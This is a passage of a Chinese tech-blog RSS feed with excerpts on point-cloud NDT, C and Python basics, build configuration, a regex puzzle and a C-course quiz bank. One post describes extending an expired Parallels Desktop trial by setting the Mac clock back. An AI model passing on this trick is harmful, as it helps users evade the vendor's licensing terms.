直接使用点云来表示目标的表面是不够的，比如，点云不能显式的表示关于表面的信息（方向、平滑度、孔洞等）。根据数据采集器的不同，点云的内容也可能是低效的，需要大量不必要的存储信息。为了在远离数据采集器的地方能够得到足够的样本分辨率，通常需要采集大量的冗余数据。&#xA;正态分布变换（ Normal Distributions Transform ， NDT）是一种描述曲面的较好方式。该变换将点云映射到平滑的表面，通过一组局部概率密度函数 local probability density functions(PDFs)来描述，每个PDF描述了表面的一个小局域的形状。&#xA;该算法的第一部是将扫描到的内容所占据的空间分割成网格单元cells（2D下为正方形，3D下为正方体），然后基于每个cell内部点的分布，计算其PDF。每个单元cell中的PDF可以理解为内部点x&#xA;的生成器。换句话说，我们可以认为x的位置是由PDF生成的。&#xA;图6.1：一个2D的激光扫描仪在矿井坑道中扫描到的点，以及对应的PDFs描述的表面形状。本例中，每个小格子边长是2m，发光区域表示了高概率区域。PDFs只计算那些点数量大于5个的单元cell。&#xA;假设这些参考点云表面的点的位置是通过D维的随机正态分布过程生成的，那么这些测得的x点的PDF似然函数为：&#xA;图6.2：3D-NDT表面表示的隧道截面，从上面看。更亮、更密集的部分表示更高的概率。cell的边长为1米&#xA;正态分布给出了具有连续导数的点云的分段光滑表示。每个PDF都可以看作是局部表面的近似，描述了表面的位置以及它的方向和平滑度。二维激光扫描及其对应的正态分布如图6.1所示。图6.2描述了矿井巷道扫描的三维常规分布。&#xA;正态分布&#xA;由于目前的工作主要集中在正态分布上，让我们更仔细地研究一下单变量和多变量正态分布的特征。在一维情况下，一个标准随机正态分布的变量x具有一个确定的预期变量μ（均值）和一个用来表示不确定性的变量σ（方差）。&#xA;在2D和3D情况下，表面的方向信息和平滑度信息可以从协方差矩阵的特征向量和特征值中估算出来，特征向量描述了分布的主要部分：即一个正交向量集合，对应于各变量协方差的主方向。根据方差的比例，二维正态分布可以是点形(如果方差相似)或线形(如果一个比另一个大得多)，或者介于两者之间。在三维情况下，参见图6.4的描述，一个正态分布可以表现为一个点或球体（如果方差的大小在各个方向上差不多），一条线（如果一个方向的方差远远大于另两个方向）或一个平面（如果一个方向的方差远小于另两个方向）。&#xA;NDT扫描配准 scan registration&#xA;匹配准流程 2D-NDT 3D-NDT 注：以上文字和图片均来源于链接，若有侵权请联系转载方删除。&#xA;返回 &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; PCL-3D点云总目录</description>
    </item>
    <item>
      <title>如何用matlab批量下载oceancolor的数据</title>
      <link>https://bchobby.github.io/posts/b1ca9070d9f082982f6d40426e70df98/</link>
      <pubDate>Mon, 24 May 2021 17:07:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1ca9070d9f082982f6d40426e70df98/</guid>
      <description> 1. 介绍 有时需要从NASA的OceanColor网站（https://oceancolor.gsfc.nasa.gov/）批量下载数据。&#xA;数据筛选好后会生成一个url的下载列表（建议使用L3级别的mapped格式）。&#xA;首先需要将url列表复制到一个txt文档中，然后直接用matlab脚本批量下载即可。&#xA;注意：OceanColor网站需要提前注册且登录，否则无权限下载。&#xA;2.代码 clear; clc close all url=cell2mat( textread(&#39;AQUA_url.txt&#39;,&#39;%s&#39;)); [a,b]=size(url); for k=1:a k web(url(k,:),&#39;-browser&#39;); end </description>
    </item>
    <item>
      <title>c语言无符号整型右移,c语言 java 有符号数,无符号数. 左移,右移运算</title>
      <link>https://bchobby.github.io/posts/e17e17ab9e96c54c2ace10ee2c02b202/</link>
      <pubDate>Mon, 24 May 2021 15:34:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e17e17ab9e96c54c2ace10ee2c02b202/</guid>
      <description>1: c语言区分有符号数,无符号数.有符号数是符号位在首位,无符号数首位就是普通位数. java只有有符号数,换句话说java二进制中首位都是符号位.0正1负.&#xA;2: 左移在所有语言中只是左移,不存在有符号无符号左移的说法,也不存在算数左移,逻辑左移的说法.算数移动(又叫有符号移动),逻辑移动(又叫无符号移动)都是指的右移,左移只有一种.&#xA;3: 先说左移&#xA;①: java中左移(java只支持有符号数). 首位不变,从第二位开始整体左移,右边补0,左边的扔掉.&#xA;当左移的运算数是int 类型时，每移动1位它的第31位就要被移出并且丢弃.当左移的运算数是long 类型时，每移动1位它的第63位就要被移出&#xA;并且丢弃.&#xA;②: c中的左移分为有符号数无符号数, 无符号数很简单,就是整体左移,左边扔点,右边补0. 有符号数的左移与上面说的java中的有符号左移类似.&#xA;③: 左移的数学意义.在数字没有溢出的前提下，对于正数和负数，左移一位都相当于乘以2的1次方，左移n位就相当于乘以2的n次方.&#xA;4: 再说右移: c中区分有符号数与无符号数,java只有有符号数.有符号数的右移区分有符号右移(算数右移)和无符号右移(逻辑右移).java只支持有符号&#xA;右移.所以不单独说,只说c的就可以了.&#xA;①: c语言中的无符号数只能是逻辑右移.没有符号位,也就不存在算数右移(有符号右移)的情况.计算非常简单.右移一位就是除2.&#xA;②: c语言中的有符号数可以算数右移也可以逻辑右移. 与java相似,java中的数字算数右移是&amp;gt;&amp;gt;,逻辑右移是&amp;gt;&amp;gt;&amp;gt;. C中多数机器都是有符号&#xA;右移.&#xA;③: 对于有符号数的算数右移的方法是: 所有位数整体右移(包括符号位),每移动一位在最左边增加一个符号位(正数0负数1),最右边丢弃一位&#xA;经过测试,正数每算数右移一位就是除2. 负数的话不是除2.只是很相近而已.&#xA;④: 对于有符数的逻辑右移的方法是: 所有位数整体右移.高位补0. 测试情况:正数的情况下每逻辑右移一位就是除2.负数情况下,逻辑右移变正数&#xA;不具备数学意义.&#xA;总结: 对开发的影响是:&#xA;①: 左移在不溢出的情况下.正负数都是左移一位乘以2.&#xA;②: 右移:算数右移和逻辑右移:负数基本都没有实际意义,只有正数有意义,右移一位相当于除以2&#xA;原文：https://www.cnblogs.com/wangzhaosheng/p/13125992.html</description>
    </item>
    <item>
      <title>继承和邮件自由发送</title>
      <link>https://bchobby.github.io/posts/e4401bc8528c2488533228978c1f0f4a/</link>
      <pubDate>Mon, 24 May 2021 15:08:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4401bc8528c2488533228978c1f0f4a/</guid>
      <description>继承和邮件自由发送 1.什么是继承 “”&#34;&#xA;继承就是让子类直接拥有父类的属性和方法。&#xA;子类 - 继承者&#xA;父类 - 被继承者&#xA;“”&#34;&#xA;2.继承的语法 “”&#34;&#xA;class 类名(父类1, 父类2,…):&#xA;pass&#xA;定义类的时候如果没有写继承关系，那么这个类默认继承python的基类： object&#xA;class 类名: == class 类名(object):&#xA;“”&#34;&#xA;# 子类继承父类的属性和方法 class Person: num = 61 def __init__(self): self.name = &#39;小明&#39; self.age = 18 self.gender = &#39;男&#39; def func1(self): print(f&#39;{self.name}今年{self.age}岁！&#39;) @classmethod def func2(cls): print(f&#39;人类的数量: {cls.num}&#39;) @staticmethod def func3(): print(&#39;人类破坏环境!&#39;) class Student(Person): pass print(Student.num) stu = Student() print(stu.name, stu.age, stu.gender) stu.func1() Student.func2() Student.func3() 3.子类中添加属性和方法 “”&#34;</description>
    </item>
    <item>
      <title>面向对象基础总结</title>
      <link>https://bchobby.github.io/posts/fb6056efcef79c19754f97ef3853b2a5/</link>
      <pubDate>Mon, 24 May 2021 15:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb6056efcef79c19754f97ef3853b2a5/</guid>
      <description>面向对象 类和对象 1.定义类（创建类）&#xA;“”&#34;&#xA;定义类:用代码描述清楚你这个类是拥有哪些相同功能哪些相同属性的对象的集合。&#xA;功能 - 对应的是函数&#xA;属性 - 保存数据的变量（在类中叫属性）&#xA;语法：&#xA;class 类名:&#xA;类的说明文档&#xA;类的内容&#xA;说明：&#xA;class - 关键字，固定写法&#xA;类名 - 程序员自己命名&#xA;要求：是标识符，不是关键字&#xA;规范：见名知义；驼峰式命名(单词之间采用首字母大写),首字母大写; 不使用系统函数名、类名和模块名&#xA;: - 固定写法&#xA;类的说明文档 - 本质就是多行注释&#xA;类的内容 - 包括属性和方法&#xA;属性分为：类属性(类的字段)和对象属性&#xA;方法分为：对象方法、类方法和静态方法&#xA;注：方法就是定义在类中的函数&#xA;class Student: &#34;&#34;&#34; 学生类 &#34;&#34;&#34; pass 2.定义对象(创建对象) &#34;&#34;&#34; 语法: 类() &#34;&#34;&#34; stu1 = Student() stu2 = Student() print(stu1, stu2) 对象方法 1.方法&#xA;定义在类中函数就是方法&#xA;2.对象方法&#xA;“”&#34;&#xA;怎么定义: 直接定义在类中的函数(定义函数前不用加装饰器)&#xA;怎么调用: 用对象来调用 - 对象.函数名()&#xA;特点: 自带参数self，在调用的时候self不用传参，系统会自动将当前对象传给self(谁调用self指向谁)</description>
    </item>
    <item>
      <title>Parallels Desktop 16.5 M1 使用到期的解决方法</title>
      <link>https://bchobby.github.io/posts/7217c762320dc353bf3d76e7a8e599bc/</link>
      <pubDate>Mon, 24 May 2021 10:10:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7217c762320dc353bf3d76e7a8e599bc/</guid>
      <description>将mac的系统时间改为使用到期之前的时间即可：&#xA;就比如现在我的体验到期时间是2021-5-20号&#xA;接下来修改mac的当前系统时间&#xA;点击时间与日期&#xA;将当前时间改为到期日期之前的时间，然后再去查看我们的试用时间&#xA;现在已经变成了3天&#xA;改时间大法还是依旧的稳。&#xA;以上就是小编今天为大家分享的内容，希望对您有所帮助，想了解更多关于Mac相关知识，请关注macz吧</description>
    </item>
    <item>
      <title>C语言中static关键字的作用</title>
      <link>https://bchobby.github.io/posts/6c87f1f6a0d62e149eb57c8e636bdd80/</link>
      <pubDate>Mon, 24 May 2021 09:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c87f1f6a0d62e149eb57c8e636bdd80/</guid>
      <description>转载引用文章：原博主文章&#xA;在C语言中，static的字面意思很容易把我们导入歧途，其实它的作用有三条。&#xA;（1）先来介绍它的第一条也是最重要的一条：隐藏。&#xA;当我们同时编译多个文件时，所有未加static前缀的全局变量和函数都具有全局可见性。为理解这句话，我举例来说明。我们要同时编译两个源文件，一个是a.c，另一个是main.c。&#xA;下面是a.c的内容&#xA;下面是main.c的内容&#xA;程序的运行结果是：&#xA;A Hello&#xA;你可能会问：为什么在a.c中定义的全局变量a和函数msg能在main.c中使用？前面说过，所有未加static前缀的全局变量和函数都具有全局可见性，其它的源文件也能访问。此例中，a是全局变量，msg是函数，并且都没有加static前缀，因此对于另外的源文件main.c是可见的。&#xA;如果加了static，就会对其它源文件隐藏。例如在a和msg的定义前加上static，main.c就看不到它们了。利用这一特性可以在不同的文件中定义同名函数和同名变量，而不必担心命名冲突。Static可以用作函数和变量的前缀，对于函数来讲，static的作用仅限于隐藏，而对于变量，static还有下面两个作用。&#xA;（2）static的第二个作用是保持变量内容的持久。存储在静态数据区的变量会在程序刚开始运行时就完成初始化，也是唯一的一次初始化。共有两种变量存储在静态存储区：全局变量和static变量，只不过和全局变量比起来，static可以控制变量的可见范围，说到底static还是用来隐藏的。虽然这种用法不常见，但我还是举一个例子。&#xA;程序的运行结果是：&#xA;global local static&#xA;1 10&#xA;2 9&#xA;3 8&#xA;4 7&#xA;5 6&#xA;6 5&#xA;7 4&#xA;8 3&#xA;9 2&#xA;10 1&#xA;（3）static的第三个作用是默认初始化为0。其实全局变量也具备这一属性，因为全局变量也存储在静态数据区。在静态数据区，内存中所有的字节默认值都是0x00，某些时候这一特点可以减少程序员的工作量。比如初始化一个稀疏矩阵，我们可以一个一个地把所有元素都置0，然后把不是0的几个元素赋值。如果定义成静态的，就省去了一开始置0的操作。再比如要把一个字符数组当字符串来用，但又觉得每次在字符数组末尾加’\ 0’太麻烦。如果把字符串定义成静态的，就省去了这个麻烦，因为那里本来就是’\0’。不妨做个小实验验证一下。&#xA;程序的运行结果如下&#xA;最后对static的三条作用做一句话总结。首先static的最主要功能是隐藏，其次因为static变量存放在静态存储区，所以它具备持久性和默认值0。&#xA;以上内容出自博客园Mr. Write之手，写的相当清晰易懂，存档方便复习。&#xA;下面是中兴通讯2012校招笔试题的一道问答题：&#xA;static全局变量与普通的全局变量有什么区别 ? 全局变量(外部变量)的说明之前再冠以static 就构成了静态的全局变量。&#xA;全局变量本身就是静态存储方式， 静态全局变量当然也是静态存储方式。 这两者在存储方式上并无不同。&#xA;这两者的区别在于非静态全局变量的作用域是整个源程序， 当一个源程序由多个源文件组成时，非静态的全局变量在各个源文件中都是有效的。 而静态全局变量则限制了其作用域， 即只在定义该变量的源文件内有效， 在同一源程序的其它源文件中不能使用它。由于静态全局变量的作用域局限于一个源文件内，只能为该源文件内的函数公用，因此可以避免在其它源文件中引起错误。&#xA;static全局变量只初使化一次，防止在其他文件单元中被引用;&#xA;static局部变量和普通局部变量有什么区别 ？ 把局部变量改变为静态变量后是改变了它的存储方式即改变了它的生存期。把全局变量改变为静态变量后是改变了它的作用域，限制了它的使用范围。&#xA;static局部变量只被初始化一次，下一次依据上一次结果值；&#xA;static函数与普通函数有什么区别？ static函数与普通函数作用域不同,仅在本文件。只在当前源文件中使用的函数应该说明为内部函数(static修饰的函数)，内部函数应该在当前源文件中说明和定义。对于可在当前源文件以外使用的函数，应该在一个头文件中说明，要使用这些函数的源文件要包含这个头文件.</description>
    </item>
    <item>
      <title>c语言中leap是什么意思,C&#43;&#43;中leap是什么</title>
      <link>https://bchobby.github.io/posts/f0c69c5141da01988cdd57847073cb12/</link>
      <pubDate>Mon, 24 May 2021 07:47:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c69c5141da01988cdd57847073cb12/</guid>
      <description>C++中leap是什么0&#xA;#include &#34;stdio.h&#34;&#xA;int main(void)&#xA;{&#xA;int day, day_year, month, year;&#xA;int repeat, ri;&#xA;int day_of_year(int year, int month, int day);&#xA;scanf(&#34;%d&#34;, &amp;amp;repeat);&#xA;for(ri = 1; ri &amp;lt;= repeat; ri++){&#xA;scanf(&#34;%d%d%d&#34;, &amp;amp;year, &amp;amp;month, &amp;amp;day);&#xA;/*---------*/&#xA;day_year = day_of_year(year, month, day);&#xA;printf(&#34;days of year: %d\n&#34;, day_year);&#xA;}&#xA;}&#xA;/*---------*/&#xA;int day_of_year(int year, int month, int day)&#xA;{&#xA;int k, leap;&#xA;int tab[2][13] = {&#xA;{0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},</description>
    </item>
    <item>
      <title>MicroLib微库和ARM标准C库有什么区别？</title>
      <link>https://bchobby.github.io/posts/c4cff962734ed4911d408d0a01f0e483/</link>
      <pubDate>Sun, 23 May 2021 21:45:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4cff962734ed4911d408d0a01f0e483/</guid>
      <description>关注+星标公众号，不错过精彩内容&#xA;作者 | strongerHuang&#xA;微信公众号 | 嵌入式专栏&#xA;我们在使用Keil MDK编程，用到printf打印输出时，通常都会使能Keil工具自带的微库（MicroLib）：&#xA;下面就来讲讲关于Keil MDK中的这个MicroLib微库。&#xA;1什么是MicroLib？ MicroLib是针对以C语言编写的基于ARM嵌入式应用程序的高度优化的库。&#xA;与ARM Compiler工具链附带的标准C库相比，MicroLib具有明显的代码大小优势。&#xA;上图是一个性能基准测试代码，通过上图可以发现，微库在不同内核下代码量明显少很多。&#xA;补充：&#xA;C语言标准库，我们经常都会调用，比如：&amp;lt;stdio.h&amp;gt;、 &amp;lt;stdlib.h&amp;gt;、 &amp;lt;string.h&amp;gt;、 &amp;lt;math.h&amp;gt;、 &amp;lt;error.h&amp;gt;、 &amp;lt;assert.h&amp;gt;等库文件。&#xA;在这些文件下还有很多各类库函数，比如：printf()、 malloc()、 memcpy()、 strncpy()等。&#xA;2微库和ARM标准C库区别 因为针对Arm的嵌入式系统，通常存储（代码）资源相对较小，为了使其能用上标准函数，工程师就针对Arm嵌入式系统，对标准C库进行了优化，以减小代码量。&#xA;优化标准库，肯定会带来一些差异，下面分享几点主要的差异：&#xA;1.代码（数据）量更小（对比上图）。&#xA;2.缺少一些不常用标准库函数，比如：文件 I/O 的库函数。&#xA;3.微库最大程度优化代码量，可能会导致有些库代码运行速度更慢。&#xA;4.可用于RTOS这类系统中，但不支持在像Windosw这类系统中。&#xA;3最后 微库函数也是一种函数，其很多库函数原型在网上都能找到，如果你有特殊需求，可以不用微库，在库函数原型的基础上进行修改。&#xA;比如：你的项目经过验证，发现微库的代码量，或者运行速度都不理想的情况下，可以自己修改原型函数。&#xA;当然，在万不得已的情况下才建议修改原型函数。通常还是建议直接使用微库，毕竟经过别人多次验证的库，出现bug的概率更小。&#xA;------------ END ------------&#xA;后台回复『Keil系列教程』『嵌入式软件设计与开发』阅读更多相关文章。&#xA;欢迎关注我的公众号，回复“加群”按规则加入技术交流群，回复“1024”查看更多内容。&#xA;欢迎关注我的视频号：&#xA;点击“阅读原文”查看更多分享，欢迎点分享、收藏、点赞、在看。</description>
    </item>
    <item>
      <title>leetcode 1707. 与数组中元素的最大异或值</title>
      <link>https://bchobby.github.io/posts/250db6f4a7212e23bca1ae684869fc78/</link>
      <pubDate>Sun, 23 May 2021 19:24:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/250db6f4a7212e23bca1ae684869fc78/</guid>
      <description>题目 给你一个由非负整数组成的数组 nums 。另有一个查询数组 queries ，其中 queries[i] = [xi, mi] 。&#xA;第 i 个查询的答案是 xi 和任何 nums 数组中不超过 mi 的元素按位异或（XOR）得到的最大值。换句话说，答案是 max(nums[j] XOR xi) ，其中所有 j 均满足 nums[j] &amp;lt;= mi 。如果 nums 中的所有元素都大于 mi，最终答案就是 -1 。&#xA;返回一个整数数组 answer 作为查询的答案，其中 answer.length == queries.length 且 answer[i] 是第 i 个查询的答案。&#xA;示例 1：&#xA;输入：nums = [0,1,2,3,4], queries = [[3,1],[1,3],[5,6]]&#xA;输出：[3,3,7]&#xA;解释：&#xA;0 和 1 是仅有的两个不超过 1 的整数。0 XOR 3 = 3 而 1 XOR 3 = 2 。二者中的更大值是 3 。1 XOR 2 = 3.</description>
    </item>
    <item>
      <title>c语言如何在notepad中运行,如何使用notepad&#43;&#43;编c语言？</title>
      <link>https://bchobby.github.io/posts/9fdc3549ea05e8128450c9e4c76a7580/</link>
      <pubDate>Sun, 23 May 2021 14:50:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fdc3549ea05e8128450c9e4c76a7580/</guid>
      <description>使用notepad++编c语言，解决这个问题的方法如下：&#xA;1、首先打开Notepad++软件，进入主界面。&#xA;2、打开菜单栏中的运行，点击其中的运行，或者按F5。弹出设置对话框。&#xA;3、在弹出的设置对话框中填准确信息： cmd /k gcc -o &#34;D:\study\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp; PAUSE &amp;amp; EXIT然后名字为编译c，快捷键自己设置。&#xA;4、同样第二个：cmd /k &#34;D:\study\$(NAME_PART)&#34; &amp;amp; PAUSE &amp;amp; EXIT名字为运行c，快捷键自己设置。设置好以后关闭对话框即可。&#xA;5、然后在软件简单地测试程序，检验是否通过。程序具体为：&#xA;#include int main(void)&#xA;{&#xA;int i1=1,i2=2;&#xA;int sum=i1+i2;&#xA;printf(&#34;%d\n&#34;,sum);&#xA;return 0;&#xA;}&#xA;6、然后依次点击编译c和运行c，最终测试通过。&#xA;7、最后可以使用这个编译器编程，问题解决了。</description>
    </item>
    <item>
      <title>Unity 发布webgl 通过IP端口访问无限制，布置IIS</title>
      <link>https://bchobby.github.io/posts/a41b6b339c119b7a81f35ef1ac835ff1/</link>
      <pubDate>Sun, 23 May 2021 14:10:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a41b6b339c119b7a81f35ef1ac835ff1/</guid>
      <description>首先电脑开启IIS权限，自行百度，此处不做赘述&#xA;打开IIS，右键添加网站 2.输入网站名称（随便输入即可）、物理路径（项目工程文件所在位置，安全情况下可以范围大一些）、端口（一般8080之类的就可以）&#xA;3.双击MIME，点击右上角添加&#xA;4.添加两个，一个是.unity3d，类型为application/octet-stream&#xA;一个是.unityweb，类型为application/binary&#xA;另外可根据自己需要增加，类似.json，等等。&#xA;添加完成后如下图所示&#xA;5.输入自己主机的IP地址+:端口号+项目index 路径即可在本局域网内打开</description>
    </item>
    <item>
      <title>w ndows只能安装到gpt磁盘,在EFI系统上Windows只能安装到GPT磁盘的解决方法</title>
      <link>https://bchobby.github.io/posts/4c184fcd295936e7d772879f4b964707/</link>
      <pubDate>Sun, 23 May 2021 13:51:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c184fcd295936e7d772879f4b964707/</guid>
      <description>最近帮同事做重做系统，自然是要装最新的win8的64位了，但是安装时出现选择分区后无法进行安装的问题，提示：。。。在EFI系统上Windows只能安装到GPT磁盘。。。&#xA;第一个同事电脑bios里有关于启动时的efi的设置，进入bios后关闭efi启动(请自行进入bios仔细找找~)就ok，顺利安装~&#xA;第二个同事电脑bios无efi的任何设置的地方，更关键的是他bios efi默认启用的，既然无法从bios里关闭，那就想其他办法了。。。因为是用u盘做的启动盘，打开做好系统的u盘，把根目录下的efi目录直接删除(或 者剪切到别的地方)，再次重新安装，一切ok！&#xA;至此，该问题顺利解决，留档备查~&#xA;对于华硕品牌的电脑，启动时可以长按ESC键选择启动模式。&#xA;最新补充：&#xA;电脑型号：华硕s550c&#xA;开机不停点击delete键进入bios，其他型号可能进入bios方法不同。&#xA;进入Security—Secure Boot—Disabled&#xA;如果不修改Secure boot选项为Disabled，在光驱引导时可能会出现报错&#xA;进入Startup—UEFI/Legacy Boot选项，设置为enable。&#xA;保存配置重启电脑，长按ESC键选择启动模式。&#xA;不同电脑BIOS菜单项名称不同，&#xA;你就翻遍BIOS，应该是可以找到的。&#xA;有问题可以加QQ：1987152156一起探讨。</description>
    </item>
    <item>
      <title>postcss-pxtorem单位转换插件配置报错Syntax Error: Error: PostCSS plugin postcss-pxtorem requires PostCSS 8. Mig</title>
      <link>https://bchobby.github.io/posts/67c015cefe42851d7b59f5181dfb88d4/</link>
      <pubDate>Sun, 23 May 2021 01:22:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67c015cefe42851d7b59f5181dfb88d4/</guid>
      <description> 原因是依赖版本太高,所以执行以下命令进行版本降级,重新启动项目即可&#xA;npm i postcss-pxtorem@5.0.0 在根目录新建postcss.config.js文件中配置&#xA;module.exports = { plugins: { &#39;autoprefixer&#39;: { browsers: [&#39;Android &amp;gt;= 4.0&#39;, &#39;iOS &amp;gt;= 8&#39;] }, &#39;postcss-pxtorem&#39;: { rootValue: 37.5, propList: [&#39;*&#39;] } } } </description>
    </item>
    <item>
      <title>CoolShell-第4题</title>
      <link>https://bchobby.github.io/posts/875c27637f223c39cb858c16438ba362/</link>
      <pubDate>Sat, 22 May 2021 21:03:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/875c27637f223c39cb858c16438ba362/</guid>
      <description>第4题地址：https://fun.coolshell.cn/furyy.html&#xA;没啥想法，输入cat试试，https://fun.coolshell.cn/cat.html。&#xA;得到了提示，但是看不懂。&#xA;因为对计算机英语不敏感，对pattern这个词没啥想法，在这里卡了很久。&#xA;查看网页源代码时，发现网页下方有一堆注释，可能这就是所谓的source。&#xA;最后是在网上搜到了解决方法……&#xA;原来题目的意思是这样的，已知几个回文串的模式，其中标红的c、a、t是正确的格式，从source中找到模式相同的字符。&#xA;1、X3c3X&#xA;2、XYaYX&#xA;3、56b65&#xA;4、5YaY5&#xA;5、Z8Y8Z&#xA;6、Z8t8Z&#xA;7、Sa3aS&#xA;8、C121C&#xA;稍微推理一下：&#xA;1、只看到了英文字符和数字，暂且认为只支持这两种字符。由于后面两个字符是前两个字符的镜像，不做考虑。穷举前三个位置的组合则有：&#xA;[大写、小写、数字][大写、小写、数字][大写、小写、数字]&#xA;2、2和4中间都是a，但是2不符合模式，说明前两个字符不能同时是大写&#xA;[大写、小写、数字][小写、数字][大写、小写、数字] 或 [小写、数字][大写、小写、数字][大写、小写、数字]&#xA;3、5和6只有中间的Y和t有差别，说明中间不能是大写&#xA;[大写、小写、数字][小写、数字][小写、数字] 或 [小写、数字][大写、小写、数字][小写、数字]&#xA;4、1和8可知，中间也不能是数字&#xA;[大写、小写、数字][小写、数字][小写] 或 [小写、数字][大写、小写、数字][小写]&#xA;5、3和4可知，前两个字符不能同时是数字&#xA;[大写、小写][小写、数字][小写] 或 [大写、小写、数字][小写][小写] 或 [小写][大写、小写、数字][小写] 或 [小写、数字][大写、小写][小写]&#xA;6、可能有点多，大胆假设前两个字符也不能是小写&#xA;[大写][数字][小写] 或 [数字][大写][小写]&#xA;这样的模式似乎简单很多，写成JavaScript的正则大概是：&#xA;/[A-Z][0-9][a-z][0-9][A-Z]|[0-9][A-Z][a-z][A-Z][0-9]/ 但是第1个字符要和第5个字符相同，第2个字符要和第3个字符相同，正则怎么写呢？&#xA;正则表达式有元组的概念，用括号括起来，匹配的结果可以用\1表示（\1为第1个结果，\2为第2个结果，以此类推）。&#xA;所以，改革后的正则表达式为：&#xA;/([A-Z])([0-9])[a-z]\2\1|([0-9])([A-Z])[a-z]\4\3/ 代码走起。&#xA;var source = [ &#34;h8:x@03B:V&amp;lt;7Q3:]iqbn58|YoLGtweZus;17tws3jCvIiXl[g=0gekz74y`d[5qri3UJu0fEK26YZ16y&#34;, &#34;y_^PvUKQdP@D[Tcq22E3?mW9L[`GhY4eGQrWL;BAV:rq2TTa&amp;gt;waM;[MQgDTKG7[4flxrIGkPVmbGYMlm&#34;, &#34;c5nMro2nMfxtOveG9T?w?T_0C4KURCN?0PD82kE9hiECr0FHu:nd9i^3G9]:O4aXX`|UWPTw?B25h:lX&#34;, &#34;W|=eh:Rk3U]JtO8zPB|zP6cTra=9td[0oI4ovjVpNV1n=Bk[K]q1LzQKP]&amp;gt;lQonjGE9&amp;lt;|Iz7MQp7Wrkb&#34;, &#34;Eaew&amp;lt;2^g?a&amp;gt;PXKzjs@9dM=rmVaVm8@Sj9vHv9mughzX[Rkj&amp;gt;iQK0s1&amp;gt;1sC&amp;gt;Qu`I[]EE8GHnEV7iMIczz&#34;, &#34;eKt&amp;gt;oa?pWywf&amp;gt;oQM`l^Y@8ajkp=pksw6WYzQwzq8@bmt00Nc|59;5r`2M2`|=xRtvCj61NLH_k5_5kCO&#34;, &#34;rtR]9R&amp;lt;iU|g`W3Bx0AiXcr4dI&amp;lt;yT=7xv&amp;lt;hp[dXO|eXPczD2wBe@NtGK?w12C;W98CO3n;axswfvpT;F;&#34;, &#34;ViU|T6:BXfLAfZPn|opFbYWFtR&amp;lt;0KI[4XVrYECPTVMIt^k;XFO0q;O:Z4k0N?WESWZqiqZ]Y;p]7vQpf&#34;, &#34;N&amp;gt;Iyxq^_W3h|&amp;lt;;?[N:B=YKzGUjcFERBj0UM|Kom^BbFaFbqNfhCdChB248BN3?qZmW6:Tn^3fo&amp;gt;yJuXe&#34;, &#34;^j@HXzxP`@uPlPuttTcy8QFn&amp;gt;;7X2X7YLSLYp7Lufz=qWF&amp;lt;=|74E?KPW&amp;gt;09qW:6QWq@WNK&amp;lt;GTy0p^JSE&#34;, &#34;6]XgGjQ1i357dIxGedw;=Q:RR@HyE`9QLZQVEz:&amp;lt;GnP8XgfONeHUU``gpaRfvv18wCQXq5h`iZrP1n&amp;lt;t&#34;, &#34;9KLCh_Qt8oit?^^W5kXyD17Zph1Up4En@EqzEaeH_lif0`iGN9pDVxXsXxvR_:ilTbyI6|4n]K9v|RuQ&#34;, &#34;i&amp;gt;[gpbYvuW|[umnyRYaV^WH8ZDKdt1&amp;lt;sA^5[K8|aYR`m2Fm`YeI;1kf304IbDG|2j32fwKx1KPK1@lE^&#34;, &#34;3R_96=ou_z&amp;lt;chnNKjdD7L^U|T;`ZvqYNdToteoUcs8K?UfwgUxchEmU?Iv6kioHxsGAZNYRn_yJ;9AwD&#34;, &#34;yqiXgRwT9XG9BHjjorMhgp;D?te&amp;lt;0vY`VOT::zgrza4S0|GkXVsxD2n_&amp;lt;z5Kyjou3x[LBNolG;aVa;Ev&#34;, &#34;18&amp;lt;w184VmeRE&amp;gt;N8`pEMx5xM_o4i;7F@7IQI7Qs0w|OI6TEv7ok[HYmw4VdenJNx4dNgmKJfJK=sw=&amp;lt;jl&#34;, &#34;</description>
    </item>
    <item>
      <title>重修c语言,C语言程序设计-重修班-中国大学mooc-题库零氪</title>
      <link>https://bchobby.github.io/posts/33641db7a9df6fc72108ce36f6423cfc/</link>
      <pubDate>Sat, 22 May 2021 20:38:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33641db7a9df6fc72108ce36f6423cfc/</guid>
      <description>第一单元 C语言概述&#xA;程序设计语言和程序随堂测验&#xA;1、程序设计语言是用于人和计算机之间进行通信的媒介。&#xA;2、程序是告诉计算机“做什么”和“怎么做”的一组指令。&#xA;3、程序设计就是编写程序。&#xA;简单的C语言程序随堂测验&#xA;1、以下关于main函数的叙述中，错误的是()。&#xA;A、main函数是自定义函数&#xA;B、main函数可以有形式参数，也可以没有形式参数&#xA;C、main函数定义必须出现在一个源文件的开头&#xA;D、在一个程序中只能有一个main函数&#xA;2、下列叙述中正确的是()。&#xA;A、main函数必须出现在其他函数之前&#xA;B、程序总是从main函数的第一条语句开始执行&#xA;C、main函数中至少有一条语句&#xA;D、程序总是在执行完main函数的最后一条语句后结束&#xA;3、以下符号中不能用做标识符的是()。&#xA;A、_256&#xA;B、scanf&#xA;C、void&#xA;D、Struct&#xA;4、浮点数的数据类型有int、float、double。&#xA;5、C语言中，变量无需区分大小写。&#xA;基层开发环境简介和C语言程序的开发步骤随堂测验&#xA;1、下列叙述中正确的是()。&#xA;A、在编译时可以发现注释中的拼写错误&#xA;B、C语言程序的每一行只能写一条语句&#xA;C、int 